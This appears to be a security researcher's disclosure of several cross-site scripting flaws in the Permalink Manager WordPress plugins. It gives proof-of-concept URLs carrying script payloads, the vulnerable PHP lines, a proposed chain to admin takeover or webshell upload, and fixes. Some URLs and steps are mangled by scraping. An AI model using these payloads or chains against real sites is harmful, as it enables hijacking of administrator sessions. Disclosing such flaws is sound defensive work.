Author: Muhammad Zeeshan (Xib3rR4dAr)
Date: March 12, 2024
Plugin Active Installs: 80,000+
Vulnerable Plugins: permalink-manager, permalink-manager-pro
Permalink Manager is a highly rated WordPress permalink editor that allows users to customize post, page, and custom post type URLs.
During code audit, multiple XSS vulnerabilities were found.
A hidden parameter debug_editor_sql
was found in code that allowed reflected XSS and is never used from client side. Not sanitizing keys in pro version also lead to XSS while lite version sanatized the keys properly.
Permalink Manager has lite (permalink-manager) and pro (permalink-manager-pro) versions, both were found to XSS. While one version exhibited some XSS issues, the other version did not.
Mostly mentioned XSS will trigger for Admin user only, while one can be triggered for any logged in user. Unauthorized permalinks modification vulnerability is also present in same version, therefore attacker user can chain XSS with unauthorized permalink modification to trigger XSS when admin user visits any Page/Post.
- Exploiting unauthorized permalinks modification, modify permalinks of all posts/pages including those of admin users to hijack post/page and display custom content.
- Custom content can have a button that when clicked, redirects to XSS page.
- Or exploiting external redirect feature, attacker can redirect admin user to XSS page to trigger XSS when admin visits any Post/Page.
Also, any user can embed XSS payload on his own domain and then logged in users can be tricked into visiting domain that will redirect to Reflected XSS vulnerable page to trigger XSS.
XSS can be exploited to create new admin user also or perform other actions like upload webshell if Admin user is targeted.
- Login as admin user and visit following to trigger XSS:
Page: Tools > Permalink Manager > URI Editor > Posts
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
pages
Page: Tools > Permalink Manager > URI Editor > Pages
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&subsection=page&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Vulnerable File for XSS in Posts, Pages:
File: wp-content\plugins\permalink-manager\includes\views\permalink-manager-uri-editor-post.php
229: public function prepare_items() {
---
244: $search_query = ( ! empty( $_REQUEST['s'] ) ) ? esc_sql( $_REQUEST['s'] ) : "";
---
262: if ( $search_query ) {
263: $sql_parts['where'] = "WHERE (LOWER(post_title) LIKE LOWER('%{$search_query}%') ";
---
283: // Prepare the SQL query
284: $sql_query = implode( "", $sql_parts );
---
297: // Debug SQL query
298: if ( isset( $_REQUEST['debug_editor_sql'] ) ) {
299: $debug_txt = "<textarea style=\"width:100%;height:300px\">{$sql_query} \n\nOffset: {$offset} \nPage: {$current_page}\nPer page: {$per_page} \nTotal: {$total_items}</textarea>";
300: wp_die( $debug_txt );
301: }
Parameter s
is fetched from request, then it is SQL Escaped (which is not for XSS protection), then appended to SQL Query. Then if parameter debug_editor_sql
exists, SQL query is displayed which contains our XSS payload via s
parameter.
Properly Sanitize user input before displaying or remove following unwanted lines since not required and are not present in GUI:
File: wp-content\plugins\permalink-manager\includes\views\permalink-manager-uri-editor-post.php
297: // Debug SQL query
298: if ( isset( $_REQUEST['debug_editor_sql'] ) ) {
299: $debug_txt = "<textarea style=\"width:100%;height:300px\">{$sql_query} \n\nOffset: {$offset} \nPage: {$current_page}\nPer page: {$per_page} \nTotal: {$total_items}</textarea>";
300: wp_die( $debug_txt );
301: }
- Login as admin user and visit following to trigger XSS:
Page: Tools > Permalink Manager > URI Editor > Posts
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
pages
Page: Tools > Permalink Manager > URI Editor > Pages
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&subsection=page&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Vulnerable File for XSS in Posts, Pages:
File: wp-content\plugins\permalink-manager-pro\includes\views\permalink-manager-uri-editor-post.php
229: public function prepare_items() {
---
244: $search_query = ( ! empty( $_REQUEST['s'] ) ) ? esc_sql( $_REQUEST['s'] ) : "";
---
262: if ( $search_query ) {
263: $sql_parts['where'] = "WHERE (LOWER(post_title) LIKE LOWER('%{$search_query}%') ";
---
284: $sql_query = implode( "", $sql_parts );
---
297: // Debug SQL query
298: if ( isset( $_REQUEST['debug_editor_sql'] ) ) {
299: $debug_txt = "<textarea style=\"width:100%;height:300px\">{$sql_query} \n\nOffset: {$offset} \nPage: {$current_page}\nPer page: {$per_page} \nTotal: {$total_items}</textarea>";
300: wp_die( $debug_txt );
301: }
- Other XSS present in
permalink-manager-pro
but not inpermalink-manager
:
Login as admin user and visit following to trigger XSS: Page: Tools > Permalink Manager > URI Editor > Categories
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&subsection=tax_category&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Page: Tools > Permalink Manager > URI Editor > Tags
http://192.168.253.1/wp-admin/tools.php?page=permalink-manager§ion=uri_editor&subsection=tax_post_tag&debug_editor_sql=1&s=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Vulnerable File for XSS in Categories, Tags:
File: wp-content\plugins\permalink-manager-pro\includes\views\permalink-manager-uri-editor-tax.php
177: public function prepare_items() {
---
188: $search_query = ( ! empty( $_REQUEST['s'] ) ) ? esc_sql( $_REQUEST['s'] ) : "";
---
197: if ( $search_query ) {
198: $sql_parts['where'] = "WHERE (LOWER(t.name) LIKE LOWER('%{$search_query}%') ";
---
219: $sql_query = implode( "", $sql_parts );
---
232: // Debug SQL query
233: if ( isset( $_REQUEST['debug_editor_sql'] ) ) {
234: $debug_txt = "<textarea style=\"width:100%;height:300px\">{$sql_query} \n\nOffset: {$offset} \nPage: {$current_page}\nPer page: {$per_page} \nTotal: {$total_items}</textarea>";
235: wp_die( $debug_txt );
236: }
Other XSS present inThis is present in version < 2.4.3.1 ofpermalink-manager-pro
but not inpermalink-manager
:permalink-manager
andpermalink-manager-pro
Login as any user e.g subscriber then visit following to trigger XSS:
http://192.168.253.1/wp-admin/admin-ajax.php?action=pm_detect_duplicates&custom_uris[a<svg%20onload%3dalert('XSS')>]=1
From frontend, POST requests are sent with action=pm_detect_duplicates
but POST can be converted to GET request also since $_REQUEST
is used. Converting to GET has advantage that XSS can be triggered via redirection also.
File: wp-content\plugins\permalink-manager\includes\core\permalink-manager-actions.php
714: function ajax_detect_duplicates( $uri = null, $element_id = null ) {
715: $duplicate_alert = __( "Permalink is already in use, please select another one!", "permalink-manager" );
716:
717: if ( ! empty( $_REQUEST['custom_uris'] ) ) {
718: // Sanitize the array
719: $custom_uris = Permalink_Manager_Helper_Functions::sanitize_array( $_REQUEST['custom_uris'] );
720: $duplicates_array = array();
721:
722: // Check each URI
723: foreach ( $custom_uris as $element_id => $uri ) {
724: $duplicates_array[ $element_id ] = Permalink_Manager_Admin_Functions::is_uri_duplicated( $uri, $element_id ) ? $duplicate_alert : 0;
725: }
726:
727: // Convert the output to JSON and stop the function
728: echo json_encode( $duplicates_array );
729: } else if ( ! empty( $_REQUEST['custom_uri'] ) && ! empty( $_REQUEST['element_id'] ) ) {
730: $is_duplicated = Permalink_Manager_Admin_Functions::is_uri_duplicated( $uri, $element_id );
731:
732: echo ( $is_duplicated ) ? $duplicate_alert : 0;
733: }
734:
735: die();
736: }
Remove Debug SQL query part from code. XSS via action pm_detect_duplicates
is fixed in 2.4.3.1
Stored XSS in permalink-manager-pro
Reproduction Steps:
EditorAuthor or Author+ userhttp://example.com/?anything=AAAA'</textarea><script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41,59))</script>
(Crafted payload triggers in attribute context as well as textarea context)
4. Click Save Permalink
XSS will trigger instantly (Self XSS), Stored XSS will also trigger when admin user visits:
Tools > Permalink Manager > Debug
which is:
http://127.0.0.1/wp-admin/tools.php?page=permalink-manager§ion=debug